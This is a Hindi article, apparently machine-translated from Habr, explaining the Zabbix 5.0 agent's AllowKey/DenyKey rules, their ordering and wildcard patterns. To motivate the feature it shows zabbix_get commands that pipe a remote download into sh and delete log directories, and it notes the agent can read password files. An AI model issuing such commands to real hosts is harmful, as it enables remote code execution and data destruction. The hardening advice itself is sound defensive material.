ज़ैबिक्स 5.0 में एजेंट-साइड मेट्रिक्स के लिए ब्लैकलिस्ट और श्वेतसूची समर्थन

ज़ैबिक्स 5.0 में एजेंट-साइड मेट्रिक्स के लिए ब्लैकलिस्ट और श्वेतसूची समर्थन

एजेंट-साइड मेट्रिक्स के लिए ब्लैकलिस्ट और श्वेतसूची समर्थन

तिखोन उस्कोव, इंटीग्रेशन इंजीनियर, ज़ैबिक्स

डेटा सुरक्षा मुद्दे

ज़ैबिक्स 5.0 में एक नई सुविधा है जो आपको ज़ैबिक्स एजेंट का उपयोग करके सिस्टम में सुरक्षा में सुधार करने की अनुमति देती है और पुराने पैरामीटर को बदल देती है रिमोटकमांड सक्षम करें.

एजेंट-आधारित सिस्टम की सुरक्षा में सुधार इस तथ्य से उत्पन्न होता है कि एक एजेंट बड़ी संख्या में संभावित खतरनाक कार्य कर सकता है।

  • एजेंट कॉन्फ़िगरेशन फ़ाइलों, लॉग फ़ाइलों, पासवर्ड फ़ाइलों या किसी अन्य फ़ाइलों से गोपनीय या संभावित खतरनाक जानकारी सहित लगभग कोई भी जानकारी एकत्र कर सकता है।

उदाहरण के लिए, zabbix_get उपयोगिता का उपयोग करके आप उपयोगकर्ताओं की सूची, उनकी होम निर्देशिका, पासवर्ड फ़ाइलें आदि तक पहुंच सकते हैं।

ज़ैबिक्स 5.0 में एजेंट-साइड मेट्रिक्स के लिए ब्लैकलिस्ट और श्वेतसूची समर्थन

Zabbix_get उपयोगिता का उपयोग करके डेटा तक पहुँचना

नोट. डेटा केवल तभी पुनर्प्राप्त किया जा सकता है जब एजेंट के पास संबंधित फ़ाइल पर पढ़ने की अनुमति हो. लेकिन, उदाहरण के लिए, फ़ाइल /etc/passwd/ सभी उपयोगकर्ताओं द्वारा पठनीय।

  • एजेंट संभावित खतरनाक कमांड भी निष्पादित कर सकता है। उदाहरण के लिए, कुंजी*सिस्टम.रन[]** आपको नेटवर्क नोड्स पर किसी भी दूरस्थ कमांड को निष्पादित करने की अनुमति देता है, जिसमें ज़ैबिक्स वेब इंटरफ़ेस से स्क्रिप्ट चलाना भी शामिल है जो एजेंट पक्ष पर कमांड निष्पादित करता है।

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • लिनक्स पर, एजेंट रूट विशेषाधिकारों के बिना डिफ़ॉल्ट रूप से चलता है, जबकि विंडोज पर यह सिस्टम के रूप में एक सेवा के रूप में चलता है और फ़ाइल सिस्टम तक इसकी अप्रतिबंधित पहुंच होती है। तदनुसार, यदि इंस्टॉलेशन के बाद ज़ैबिक्स एजेंट पैरामीटर में कोई बदलाव नहीं किया जाता है, तो एजेंट के पास रजिस्ट्री, फ़ाइल सिस्टम तक पहुंच होती है और वह WMI क्वेरी निष्पादित कर सकता है।

पिछले संस्करणों में पैरामीटर EnableRemoteCommands=0 केवल कुंजी के साथ मेट्रिक्स को अक्षम करने की अनुमति है *सिस्टम.रन[]** और वेब इंटरफ़ेस से स्क्रिप्ट चला रहे थे, लेकिन व्यक्तिगत फ़ाइलों तक पहुंच को प्रतिबंधित करने, एजेंट के साथ स्थापित की गई व्यक्तिगत कुंजियों को अनुमति देने या अक्षम करने या व्यक्तिगत मापदंडों के उपयोग को सीमित करने का कोई तरीका नहीं था।

ज़ैबिक्स 5.0 में एजेंट-साइड मेट्रिक्स के लिए ब्लैकलिस्ट और श्वेतसूची समर्थन

Zabbix के पुराने संस्करणों में EnableRemoteCommand पैरामीटर का उपयोग करना

अनुमति कुंजी/अस्वीकार कुंजी

ज़ैबिक्स 5.0 एजेंट पक्ष पर मेट्रिक्स को अनुमति देने और अस्वीकार करने के लिए श्वेतसूची और ब्लैकलिस्ट प्रदान करके ऐसी अनधिकृत पहुंच से बचाने में मदद करता है।

Zabbix 5.0 में * सहित सभी कुंजियाँसिस्टम.रन[]** सक्षम हैं, और दो नए एजेंट कॉन्फ़िगरेशन विकल्प जोड़े गए हैं:

अनुमति कुंजी= - अनुमत जांच;

डेनीकी= - निषिद्ध जांच;

पैरामीटर के साथ एक कुंजी नाम पैटर्न कहां है जो मेटाअक्षर (*) का उपयोग करता है।

AllowKey और DenyKey कुंजियाँ आपको एक विशिष्ट पैटर्न के आधार पर व्यक्तिगत मेट्रिक्स को अनुमति देने या अस्वीकार करने की अनुमति देती हैं। अन्य कॉन्फ़िगरेशन पैरामीटरों के विपरीत,AllowKey/DenyKey पैरामीटरों की संख्या सीमित नहीं है। यह आपको स्पष्ट रूप से परिभाषित करने की अनुमति देता है कि चेक का एक पेड़ - निष्पादन योग्य कुंजी बनाकर एजेंट सिस्टम में वास्तव में क्या कर सकता है, जहां उन्हें लिखे जाने का क्रम बहुत महत्वपूर्ण भूमिका निभाता है।

नियमों का क्रम

नियमों की जाँच उसी क्रम में की जाती है जिस क्रम में उन्हें कॉन्फ़िगरेशन फ़ाइल में दर्ज किया जाता है। पहले मिलान से पहले नियमों के अनुसार कुंजी की जाँच की जाती है, और जैसे ही डेटा तत्व की कुंजी पैटर्न से मेल खाती है, उसे अनुमति या अस्वीकृत कर दिया जाता है। इसके बाद, नियम की जाँच बंद हो जाती है और शेष कुंजियाँ अनदेखा कर दी जाती हैं।

इसलिए, यदि कोई तत्व अनुमति और अस्वीकृत नियम दोनों से मेल खाता है, तो परिणाम इस बात पर निर्भर करेगा कि कॉन्फ़िगरेशन फ़ाइल में कौन सा नियम पहले है।

ज़ैबिक्स 5.0 में एजेंट-साइड मेट्रिक्स के लिए ब्लैकलिस्ट और श्वेतसूची समर्थन

एक ही पैटर्न और एक कुंजी के साथ 2 अलग-अलग नियम vfs.फ़ाइल.आकार[/tmp/फ़ाइल]

AllowKey/DenyKey कुंजियों का उपयोग करने का क्रम:

  1. सटीक नियम,
  2. सामान्य नियम,
  3. निषेधात्मक नियम.

उदाहरण के लिए, यदि आपको किसी निश्चित फ़ोल्डर में फ़ाइलों तक पहुंच की आवश्यकता है, तो आपको पहले उन तक पहुंच की अनुमति देनी होगी, और फिर बाकी सभी चीजों को अस्वीकार करना होगा जो स्थापित अनुमतियों के अंतर्गत नहीं आती हैं। यदि पहले इनकार नियम का उपयोग किया जाता है, तो फ़ोल्डर तक पहुंच अस्वीकार कर दी जाएगी।

ज़ैबिक्स 5.0 में एजेंट-साइड मेट्रिक्स के लिए ब्लैकलिस्ट और श्वेतसूची समर्थन

सही क्रम

यदि आपको * के माध्यम से 2 उपयोगिताओं को चलाने की अनुमति देने की आवश्यकता हैसिस्टम.रन[]**, और इनकार करने का नियम पहले निर्दिष्ट किया जाएगा, उपयोगिताएँ लॉन्च नहीं की जाएंगी, क्योंकि पहला पैटर्न हमेशा किसी भी कुंजी से मेल खाएगा, और बाद के नियमों को अनदेखा कर दिया जाएगा।

ज़ैबिक्स 5.0 में एजेंट-साइड मेट्रिक्स के लिए ब्लैकलिस्ट और श्वेतसूची समर्थन

ग़लत क्रम

पैटर्न्स

मूल नियमावली

पैटर्न वाइल्डकार्ड के साथ एक अभिव्यक्ति है। मेटाकैरेक्टर (*) किसी विशिष्ट स्थान पर किसी भी वर्ण की संख्या से मेल खाता है। मेटाचैक्टर का उपयोग कुंजी नाम और पैरामीटर दोनों में किया जा सकता है। उदाहरण के लिए, आप पाठ के साथ पहले पैरामीटर को सख्ती से परिभाषित कर सकते हैं, और अगले को वाइल्डकार्ड के रूप में निर्दिष्ट करें.

पैरामीटर्स को वर्गाकार कोष्ठकों में संलग्न किया जाना चाहिए []।

  • system.run[* - गलत
  • vfs.file*.txt] - गलत
  • vfs.file.*[*] - सही

वाइल्डकार्ड का उपयोग करने के उदाहरण.

  1. कुंजी नाम में और पैरामीटर में. इस मामले में, कुंजी एक समान कुंजी से मेल नहीं खाती है जिसमें कोई पैरामीटर नहीं है, क्योंकि पैटर्न में हमने संकेत दिया है कि हम कुंजी नाम का एक निश्चित अंत और पैरामीटर का एक निश्चित सेट प्राप्त करना चाहते हैं।
  2. यदि पैटर्न वर्गाकार कोष्ठकों का उपयोग नहीं करता है, तो पैटर्न उन सभी कुंजियों को अनुमति देता है जिनमें पैरामीटर नहीं होते हैं और उन सभी कुंजियों को अस्वीकार कर देता है जिनमें निर्दिष्ट पैरामीटर होते हैं।
  3. यदि कुंजी पूर्ण रूप से लिखी गई है और पैरामीटर वाइल्डकार्ड के रूप में निर्दिष्ट हैं, तो यह किसी भी पैरामीटर के साथ किसी भी समान कुंजी से मेल खाएगा और वर्गाकार कोष्ठक के बिना कुंजी से मेल नहीं खाएगा, यानी इसे अनुमति दी जाएगी या अस्वीकार कर दिया जाएगा।

ज़ैबिक्स 5.0 में एजेंट-साइड मेट्रिक्स के लिए ब्लैकलिस्ट और श्वेतसूची समर्थन

पैरामीटर भरने के नियम.

  • यदि पैरामीटर वाली कुंजी का उपयोग करने का इरादा है, तो पैरामीटर को कॉन्फ़िगरेशन फ़ाइल में निर्दिष्ट किया जाना चाहिए। पैरामीटर्स को मेटाकैरेक्टर के रूप में निर्दिष्ट किया जाना चाहिए। किसी भी फ़ाइल तक पहुंच को सावधानीपूर्वक अस्वीकार करना और यह ध्यान रखना आवश्यक है कि मीट्रिक अलग-अलग वर्तनी के तहत कौन सी जानकारी प्रदान कर सकता है - पैरामीटर के साथ और बिना पैरामीटर के।

ज़ैबिक्स 5.0 में एजेंट-साइड मेट्रिक्स के लिए ब्लैकलिस्ट और श्वेतसूची समर्थन

मापदंडों के साथ कुंजी लिखने की विशेषताएं

  • यदि कोई कुंजी पैरामीटर के साथ निर्दिष्ट है, लेकिन पैरामीटर वैकल्पिक हैं और मेटाकैरेक्टर के रूप में निर्दिष्ट हैं, तो पैरामीटर के बिना एक कुंजी हल हो जाएगी। उदाहरण के लिए, यदि आप सीपीयू पर लोड के बारे में जानकारी प्राप्त करना अक्षम करना चाहते हैं और निर्दिष्ट करते हैं कि system.cpu.load[*] कुंजी अक्षम की जानी चाहिए, तो यह न भूलें कि पैरामीटर के बिना कुंजी औसत लोड मान लौटा देगी।

ज़ैबिक्स 5.0 में एजेंट-साइड मेट्रिक्स के लिए ब्लैकलिस्ट और श्वेतसूची समर्थन

पैरामीटर भरने के नियम

टिप्पणियां

समायोजन

  • कुछ नियम उपयोगकर्ता द्वारा नहीं बदले जा सकते, उदाहरण के लिए, खोज नियम या एजेंट ऑटो-पंजीकरण नियम। AllowKey/DenyKey नियम निम्नलिखित मापदंडों को प्रभावित नहीं करते हैं:
    - होस्टनाम आइटम
    - होस्टमेटाडाटाआइटम
    - होस्टइंटरफेसआइटम

नोट. यदि कोई व्यवस्थापक किसी कुंजी को अक्षम कर देता है, तो पूछे जाने पर, ज़ैबिक्स इस बारे में जानकारी नहीं देता है कि मीट्रिक या कुंजी 'श्रेणी' में क्यों आती हैसमर्थित नहीं'. दूरस्थ आदेशों को निष्पादित करने पर प्रतिबंध के बारे में जानकारी भी एजेंट लॉग फ़ाइलों में प्रदर्शित नहीं होती है। यह सुरक्षा कारणों से है, लेकिन यदि किसी कारण से मेट्रिक्स असमर्थित श्रेणी में आते हैं तो डिबगिंग जटिल हो सकती है.

  • आपको बाहरी कॉन्फ़िगरेशन फ़ाइलों को जोड़ने के लिए किसी विशिष्ट क्रम पर भरोसा नहीं करना चाहिए (उदाहरण के लिए, वर्णमाला क्रम में)।

कमांड लाइन उपयोगिताओं

नियम स्थापित करने के बाद, आपको यह सुनिश्चित करना होगा कि सब कुछ सही ढंग से कॉन्फ़िगर किया गया है।

आप तीन विकल्पों में से एक का उपयोग कर सकते हैं:

  • ज़ैबिक्स में एक मीट्रिक जोड़ें।
  • के साथ परीक्षण करें zabbix_agentd. विकल्प के साथ ज़ैबिक्स एजेंट -प्रिंट (-पी) सभी कुंजियाँ दिखाता है (जो डिफ़ॉल्ट रूप से अनुमत हैं) सिवाय उन कुंजियों के जिन्हें कॉन्फ़िगरेशन द्वारा अनुमति नहीं है। और विकल्प के साथ -टेस्ट (-t) एक निषिद्ध कुंजी के लिए वापस आ जाएगी 'असमर्थित आइटम कुंजी'.
  • के साथ परीक्षण करें zabbix_get. उपयोगिता zabbix_get विकल्प के साथ -k वापसी करेंगे 'ZBX_NOTS समर्थित: अज्ञात मीट्रिक'.

अनुमति दें या अस्वीकार करें

आप किसी फ़ाइल तक पहुंच को अस्वीकार कर सकते हैं और उदाहरण के लिए, उपयोगिता का उपयोग करके सत्यापित कर सकते हैं zabbix_getफ़ाइल तक पहुंच अस्वीकृत है.

ज़ैबिक्स 5.0 में एजेंट-साइड मेट्रिक्स के लिए ब्लैकलिस्ट और श्वेतसूची समर्थन

**

नोट. पैरामीटर में उद्धरणों को नजरअंदाज कर दिया जाता है.

इस मामले में, ऐसी फ़ाइल तक पहुंच को एक अलग पथ के माध्यम से अनुमति दी जा सकती है। उदाहरण के लिए, यदि कोई सिम्लिंक उस तक ले जाता है।

ज़ैबिक्स 5.0 में एजेंट-साइड मेट्रिक्स के लिए ब्लैकलिस्ट और श्वेतसूची समर्थन

निर्दिष्ट नियमों को लागू करने के लिए विभिन्न विकल्पों की जांच करने और निषेधों को दरकिनार करने की संभावनाओं को भी ध्यान में रखने की सिफारिश की जाती है।

प्रश्न और उत्तर

सवाल. नियमों, अनुमतियों और निषेधों का वर्णन करने के लिए अपनी भाषा के साथ इतना जटिल पैटर्न क्यों चुना गया? उदाहरण के लिए, ज़ैबिक्स द्वारा उपयोग किए जाने वाले नियमित अभिव्यक्तियों का उपयोग करना क्यों संभव नहीं था?

जवाब. यह एक रेगेक्स प्रदर्शन समस्या है क्योंकि आमतौर पर केवल एक ही एजेंट होता है और यह बड़ी संख्या में मेट्रिक्स की जांच करता है। रेगेक्स काफी भारी ऑपरेशन है और हम इस तरह से हजारों मेट्रिक्स की जांच नहीं कर सकते हैं। वाइल्डकार्ड - एक सार्वभौमिक, व्यापक रूप से उपयोग किया जाने वाला और सरल समाधान.

सवाल. क्या सम्मिलित फ़ाइलें वर्णानुक्रम में शामिल नहीं हैं?

जवाब. जहां तक ​​मुझे पता है, यदि आप नियमों को विभिन्न फाइलों में फैलाते हैं तो यह अनुमान लगाना लगभग असंभव है कि नियम किस क्रम में लागू होंगे। मैं सभी अनुमति कुंजी/डेनी कुंजी नियमों को एक शामिल फ़ाइल में एकत्रित करने की अनुशंसा करता हूं, क्योंकि वे एक-दूसरे के साथ बातचीत करते हैं, और इस फ़ाइल को भी शामिल करते हैं.

सवाल. Zabbix 5.0 में विकल्प 'EnableRemoteCommands='कॉन्फ़िगरेशन फ़ाइल से गायब है, और केवल अनुमति कुंजी/DenyKey उपलब्ध हैं?

उत्तर। हाँ यह सही है.

धन्यवाद!

स्रोत: www.habr.com

एक टिप्पणी जोड़ें